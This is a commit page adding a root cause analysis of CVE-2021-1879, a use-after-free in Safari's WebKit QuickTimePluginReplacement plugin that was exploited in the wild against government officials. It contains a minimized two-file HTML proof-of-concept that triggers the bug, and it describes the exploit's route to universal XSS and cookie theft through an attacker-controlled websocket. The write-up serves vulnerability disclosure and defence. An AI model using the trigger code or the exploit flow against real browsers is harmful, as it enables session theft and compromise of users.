🤬
  • CVE-2021-1879 RCA by Clement Lecigne

    Change-Id: Ib1b043c43851ecc8e3e9c63142520e20abd60d6b
  • Loading...
  • Maddie Stone committed 3 years ago
    cc6725ee
    1 parent eeb52c44
  • ■ ■ ■ ■ ■ ■
    0day-RCAs/2021/CVE-2021-1879.md
     1 +# CVE-2021-1879: Use-After-Free in QuickTimePluginReplacement
     2 + 
     3 +*Clement Lecigne, Google Threat Analysis Group*
     4 + 
     5 +## The Basics
     6 + 
     7 +**Disclosure or Patch Date:** 26 March 2021
     8 + 
     9 +**Product:** Apple WebKit (Safari)
     10 + 
     11 +**Advisory:** https://support.apple.com/en-us/HT212256
     12 + 
     13 +**Affected Versions:** 14.4.1 and previous
     14 + 
     15 +**First Patched Version:** 14.4.2
     16 + 
     17 +**Issue/Bug Report:** https://bugs.webkit.org/show_bug.cgi?id=223561
     18 + 
     19 +**Patch CL:**
     20 +https://github.com/WebKit/WebKit/commit/629d61f760e57cf322288f528a7fcd318dd14327
     21 + 
     22 +**Bug-Introducing CL:**
     23 +https://github.com/WebKit/WebKit/commit/5f980f44880269f6e273853961097fcc55cca094
     24 +FIXME added in
     25 +https://github.com/WebKit/WebKit/commit/9b04ff6bea713b87c903f06b0ac6518bce0d2c4b
     26 + 
     27 +**Reporter(s):** Clement Lecigne of Google Threat Analysis Group and Billy
     28 +Leonard of Google Threat Analysis Group
     29 + 
     30 +## The Code
     31 + 
     32 +**Proof-of-concept:**
     33 + 
     34 +Minimized version created from the original exploit:
     35 + 
     36 +* index.html:
     37 + 
     38 +```html
     39 +<script>
     40 +var idd = null;
     41 +function onl()
     42 +{
     43 + idd = document.getElementById("idd");
     44 + idd.onload = null;
     45 + idd.src = 'http://127.0.0.1:8000/exp.html'
     46 +}
     47 +function f()
     48 +{
     49 + idd.onload = g;
     50 + idd.src = "http://127.0.0.1:8000/&foo=1";
     51 +}
     52 +function g()
     53 +{
     54 + idd.onload = null;
     55 + document.getElementById("cur").appendChild(document.createElement("a"));
     56 +}
     57 +</script>
     58 +<body>
     59 +<div id="id1"></div>
     60 +<div id="cur"></div><br>
     61 +<video id="vid"></video>
     62 +<iframe id="idd" style="display:none" onload="onl();"></iframe>
     63 +</body>
     64 +```
     65 + 
     66 +* exp.html:
     67 + 
     68 +```html
     69 +<script>
     70 +var worker = null;
     71 +function start()
     72 +{
     73 + worker = document.getElementById("worker");
     74 + window.top.document.getElementById("cur").addEventListener("DOMNodeInserted", callback0);
     75 + var intl = setInterval(function(){
     76 + worker.GetURL.a = 777;
     77 + window.top.f();
     78 + clearInterval(intl);
     79 + }, 1);
     80 +}
     81 +function callback0(ev) {
     82 + window.requestAnimationFrame(callback);
     83 +}
     84 +function gc() {
     85 + for (let i = 0; i < 0x40; i++) { new ArrayBuffer(0x1000000); }
     86 +}
     87 +function callback(ev) {
     88 + gc();
     89 + alert(worker.GetURL.a); // UAF here.
     90 +}
     91 +</script>
     92 +<body onload="start();">
     93 +<embed id="worker" src="data:video/mp4;"></embed>
     94 +</body>
     95 +```
     96 + 
     97 +**Exploit sample:** N/A
     98 + 
     99 +**Did you have access to the exploit sample when doing the analysis?** Yes
     100 + 
     101 +## The Vulnerability
     102 + 
     103 +**Bug class:** Use-after-free
     104 + 
     105 +**Vulnerability details:**
     106 + 
     107 +The QuickTimePluginReplacement plugin maintains an internal JSC script object
     108 +instance `m_scriptObject` which is wrongly configured and not properly
     109 +tracked by the garbage collector. A Use-After-Free can be triggered by referencing
     110 +external JSValues into the `m_scriptObject`, these JSValues will be freed while
     111 +calling `window.requestAnimationFrame` but their references will still be available
     112 +in the `m_scriptOject`.
     113 + 
     114 +Comments surrounding the declaration of `m_scriptObject` are actually hinting
     115 +for this wrong behavior.
     116 + 
     117 +```c
     118 +JSC::JSObject* m_scriptObject { nullptr }; // FIXME: Why is it safe to have this pointer here? What keeps it alive during GC?
     119 +```
     120 + 
     121 +**Patch analysis:**
     122 + 
     123 +The code of the plugin has been refactored to replace the "custom" `m_scriptObject`
     124 +instance by a `JSValueInWrappedObject` which is safer to use.
     125 + 
     126 +**Thoughts on how this vuln might have been found _(fuzzing, code auditing,
     127 +variant analysis, etc.)_:**
     128 + 
     129 +Technically this vulnerability could have been discovered via fuzzing but in
     130 +this specific case the vulnerability was likely discovered by auditing the code
     131 +manually. The FIXME added by the WebKit developper probably helped the
     132 +discovery.
     133 + 
     134 +**(Historical/present/future) context of bug:**
     135 + 
     136 +This bug was exploited by Russia/[Nobelium](https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/) to target iPhone users from various government officials. [Google TAG Blog](https://blog.google/threat-analysis-group/how-we-protect-users-0-day-attacks)
     137 + 
     138 +## The Exploit
     139 + 
     140 +(The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and
     141 +*exploit flow* are
     142 +[defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).)
     143 + 
     144 +**Exploit strategy (or strategies):**
     145 + 
     146 +__Under analysis__
     147 + 
     148 +The attacker abused the vulnerability to create a type confusion and forge
     149 +powerful addrof/fakeobj primitives.
     150 + 
     151 +To ensure stability and avoid crashes during GC, the exploit makes sure to
     152 +restore previously corrupted objects before continuing further.
     153 + 
     154 +**Exploit flow:**
     155 + 
     156 +Once arbitrary read and write is achieved, the exploit modifies the internal
     157 +state of the renderer to turn the issue into an universal XSS.
     158 + 
     159 +In order to do this, the exploit is following this flow for each targeted
     160 +websites.
     161 + 
     162 +* Create a websocket `w` connected to an attacker controled IP.
     163 +* Set `m_universalAccess` to 1 inside the SecurityOrigin class by traversing a
     164 + set of pointers.
     165 +* Create a new URL object `u` poiting to the targeted domain.
     166 +* Overwrite all
     167 + [Document URLS](https://github.com/WebKit/WebKit/blob/88278b55563e5ccdc0b3419c6c391c3becc19e40/Source/WebCore/dom/Document.h#L1728)
     168 + of the websocket `w` with the ones from the `u` URL.
     169 +* Overwrite
     170 + [m_url](https://github.com/WebKit/WebKit/blob/88278b55563e5ccdc0b3419c6c391c3becc19e40/Source/WebCore/dom/Document.h#L1728)
     171 + field of the websocket `w` with the `u` URL.
     172 +* Trigger a send on the websocket.
     173 +* At the end of the websocket, attacker receives requests as they would be
     174 + delivered to the targeted websites `u` including the authentication cookies
     175 + for the targeted websites.
     176 + 
     177 +**Known cases of the same exploit flow:**
     178 + 
     179 +* Modifying `m_universalAccess` to bypass the same-origin policy is documented in this ["Attacking Javascript Engines" Phrack article](http://phrack.org/papers/attacking_javascript_engines.html).
     180 + 
     181 +**Part of an exploit chain?**
     182 + 
     183 +The exploit we discovered was only using this single bug. A sandbox escape was not required.
     184 + 
     185 +## The Next Steps
     186 + 
     187 +### Variant analysis
     188 + 
     189 +**Areas/approach for variant analysis (and why):**
     190 + 
     191 +* To find very close variants, manually review similar issues in the other
     192 + plugins where `JSC::JSObject` are used.
     193 +* Manual audit `FIXME` comments left in source code and hinting at
     194 + potential use-after-free bug.
     195 +* Fuzz HTML elements with same callback sequences, potentially with a tool
     196 + like [Domato](https://github.com/googleprojectzero/domato).
     197 + 
     198 +**Found variants:** N/A
     199 + 
     200 +### Structural improvements
     201 + 
     202 +What are structural improvements such as ways to kill the bug class, prevent the
     203 +introduction of this vulnerability, mitigate the exploit flow, make this type of
     204 +vulnerability harder to exploit, etc.?
     205 + 
     206 +**Ideas to kill the bug class:**
     207 + 
     208 +**Ideas to mitigate the exploit flow:**
     209 + 
     210 +* Implementing [site isolation](https://www.chromium.org/Home/chromium-security/site-isolation) in WebKit like it's done in Firefox or Chrome.
     211 + 
     212 +**Other potential improvements:** N/A
     213 + 
     214 +### 0-day detection methods
     215 + 
     216 +What are potential detection methods for similar 0-days? Meaning are there any
     217 +ideas of how this exploit or similar exploits could be detected **as a 0-day**?
     218 + 
     219 +These types of exploits are likely hard to detect generically.
     220 + 
     221 +## Other References
     222 + 
     223 +* July 2021: ["How We Protect Users From 0-Day Attacks"](https://blog.google/threat-analysis-group/how-we-protect-users-0-day-attacks
     224 +) by Google's Threat Analysis Group gives context about how this exploit was used.
     225 +* February 2020: [Forget the Sandbox Escape: Abusing Browsers from Code Execution](https://www.youtube.com/watch?v=a0yPYpmUpIA)
     226 + by Amy Burnett
Please wait...
Page is in error, reload to recover